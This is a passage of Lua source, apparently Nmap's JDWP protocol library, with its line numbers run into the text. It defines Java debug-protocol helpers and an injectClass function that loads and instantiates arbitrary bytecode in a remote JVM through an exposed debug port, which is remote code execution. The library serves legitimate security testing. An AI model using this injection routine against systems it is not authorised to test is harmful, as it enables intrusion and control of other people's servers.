local status, data = executeCommand(socket,command) 815 if not status then 816 stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data) 817 return false,data 818 end 819 return true, nil 820end 821 822--- EventRequest Command Set (15) 823-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest 824 825--- Uses Set Command (1) to set singlesteping to specified thread. 826-- 827-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set 828-- 829--@param socket Socket to use to send the command. 830--@param id Packet id. 831--@param threadID The ID of the thread. 832--@return (status, requestID) If status is false an error string is returned, else it contains assigned request id. 833function setThreadSinglestep(socket,id,threadID) 834 local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set 835 local command = JDWPCommandPacket:new(id,15,1,params) 836 local status, data = executeCommand(socket,command) 837 if not status then 838 stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data) 839 return false,data 840 end 841 local _, requestID = bin.unpack(">i",data) 842 return true, requestID 843end 844 845--- Uses Clear Command (2) to unset singlesteping from a thread by specified event. 846-- 847-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear 848-- 849--@param socket Socket to use to send the command. 850--@param id Packet id. 851--@param eventID The ID of the thread. 852--@return (status, requestID) If status is false an error string is returned, else it's nil. 853function clearThreadSinglestep(socket,id,eventID) 854 local params = bin.pack(">Ci",1,eventID) 855 local command = JDWPCommandPacket:new(id,15,2,params) 856 local status, data = executeCommand(socket,command) 857 if not status then 858 stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data) 859 return false,data 860 end 861 return true,nil 862end 863 864--- ClassObjectReference Command Set (17) 865-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference 866 867 868--- ReflectedType Command (1) 869-- Returns the reference type reflected by this class object. 870-- 871-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType 872-- 873--@param socket Socket to use to send the command. 874--@param id Packet id. 875--@param classObjectID The ID of the object. 876--@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type. 877function getReflectedType(socket,id,classObjectID) 878 local _, param 879 local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID)) 880 local status, data = executeCommand(socket,command) 881 if not status then 882 stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data) 883 return false,data 884 end 885 local reflected_type = { 886 refTypeTag = nil, 887 typeID = nil 888 } 889 _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data) 890 891 return true, reflected_type 892end 893 894--- Helper function to find a method ID by its name. 895-- 896-- @param socket Socket to use for communication. 897-- @param class ID of the class whose method we seek. 898-- @param methodName Name of the method. 899-- @param skipFirst Skip first found method. 900function findMethod(socket,class,methodName,skipFirst) 901 local methodID 902 local status, methods = getMethodsWithGeneric(socket,0,class) 903 if not status then 904 return false 905 end 906 for _, method in ipairs(methods) do -- find first constructor and first defineClass() method 907 stdnse.print_debug(2,"Method name: %s", method.name) 908 if methodID == nil then 909 if string.find(method.name,methodName) then 910 if skipFirst then 911 skipFirst = false 912 else 913 methodID = method.methodID 914 end 915 end 916 end 917 end 918 return methodID 919end 920 921--- Tries to inject specified bytes as a java class and create its instance. 922-- 923-- Returns a table containing following fields: 924-- * 'id' Injected class reference ID. 925-- * 'instance' Inected calss' instance reference ID. 926-- * 'thread' Thread in which the class was injected and instantiated. 927-- 928-- @param socket Socket to use for communication. 929-- @param class_bytes String of bytes of a java class file to inject. 930-- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info. 931function injectClass(socket,class_bytes) 932 local classes,status 933 -- find byte array class id needed to create new array to load our bytecode into 934 status,classes = getAllClassesWithGeneric(socket,0) 935 if not status then 936 stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes) 937 return false 938 end 939 local byteArrayID 940 for _,class in ipairs(classes) do 941 if string.find(class.signature,"%[B") then 942 byteArrayID = class.typeID 943 break 944 end 945 end 946 if byteArrayID == nil then 947 stdnse.print_debug("finding byte arrray id failed") 948 return false 949 end 950 stdnse.print_debug("Found byte[] id %d",byteArrayID) 951 952 -- find SecureClassLoader id by signature 953 status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;") 954 if not status then 955 return false 956 end 957 local secureClassLoader = classes[1].referenceTypeID 958 stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader) 959 -- find SecureClassLoader() constructor 960 local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true) 961 -- find ClassLoader id by signature 962 status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;") 963 if not status then 964 return false 965 end 966 local classLoader = classes[1].referenceTypeID 967 stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID) 968 -- find ClassLoader's defineClass() method 969 local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false) 970 -- find ClassLoader's resolveClass() method 971 local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false) 972 if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then 973 stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID)) 974 return false 975 end 976 977 978 -- create array to load bytecode into 979 local arrayID 980 status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes) 981 if not status then 982 stdnse.print_debug("New array failed: %s", arrayID) 983 return false 984 end 985 stdnse.print_debug("Created new byte array of length %d",#class_bytes) 986 -- set array values 987 local temp 988 status, temp = setArrayValues(socket,0,arrayID,0,class_bytes) 989 if not status then 990 stdnse.print_debug("Set values failed: %s", temp) 991 return 992 end 993 stdnse.print_debug("Set array values to injected class bytes") 994 995 -- get main thread id 996 -- in order to load a new class file, thread must be suspended by an event 997 -- so we set it to singlestep, let it run and it get suspended right away 998 local threads 999 status,threads = getAllThreads(socket,0) 1000 if not status then 1001 stdnse.print_debug("get threads failed: %s", threads) 1002 return false 1003 end 1004 local main_thread 1005 local eventID 1006 stdnse.print_debug("Looking for main thread...") 1007 for _,thread in ipairs(threads) do 1008 local thread_name 1009 status, thread_name = getThreadName(socket,0,thread) 1010 if not status then 1011 stdnse.print_debug("getThreadName failed: %s", thread_name) 1012 return false 1013 end 1014 if thread_name == "main" then 1015 stdnse.print_debug("Setting singlesteping to main thread.") 1016 status, eventID = setThreadSinglestep(socket,0,thread) 1017 main_thread = thread 1018 break 1019 end 1020 end 1021 if main_thread == nil then 1022 stdnse.print_debug("couldn't find main thread") 1023 return false 1024 end 1025 -- to trigger the singlestep event, VM must be resumed 1026 stdnse.print_debug("Resuming VM and waiting for single step event from main thread...") 1027 local status, _ = resumeVM(socket,0) 1028 -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction 1029 clearThreadSinglestep(socket,0,eventID) 1030 stdnse.print_debug("Cleared singlesteping from main thread.") 1031 1032 -- instantiate new class loader 1033 local class_loader_instance 1034 status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil) 1035 if not status then 1036 stdnse.print_debug("newClassInstance failed: %s", class_loader_instance) 1037 return false 1038 end 1039 stdnse.print_debug("Created new instance of SecureClassLoader.") 1040 1041 local injectedClass 1042 -- invoke defineClass with byte array that contains our bytecode 1043 local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 1044 stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...") 1045 status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs) 1046 if not status then 1047 stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass) 1048 end 1049 -- resolve (Java's way of saying link) loaded class 1050 status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag 1051 if not status then 1052 stdnse.print_debug("invokeObjectMethod failed:") 1053 end 1054 -- extract the injected class' ID 1055 local tag,injectedClassID 1056 _,tag,injectedClassID = bin.unpack(">CL",injectedClass) 1057 1058 -- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it 1059 -- and for that we need its runtime_type which is Class 1060 local runtime_type 1061 status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class 1062 -- find the getMethods() id 1063 local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false) 1064 status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) 1065 1066 1067 stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID) 1068 local sig, reflected_type 1069 status, sig = getSignatureWithGeneric(socket,0,injectedClassID) 1070 stdnse.print_debug("Injected class signature: %s", sig) 1071 status, reflected_type = getReflectedType(socket,0,injectedClassID) 1072 1073 -- find injected class constructor 1074 local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false) 1075 1076 if injectedConstructor == nil then 1077 stdnse.print_debug("Couldn't find either evil method or constructor") 1078 return false 1079 end 1080 1081 -- instantiate our evil class 1082 local injectedClassInstance 1083 status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil) 1084 if not status then 1085 return false, injectedClassInstance 1086 end 1087 local injected_class = { 1088 id = injectedClassID, 1089 instance = injectedClassInstance, 1090 thread = main_thread 1091 } 1092 return true, injected_class 1093end 1094 1095return _ENV;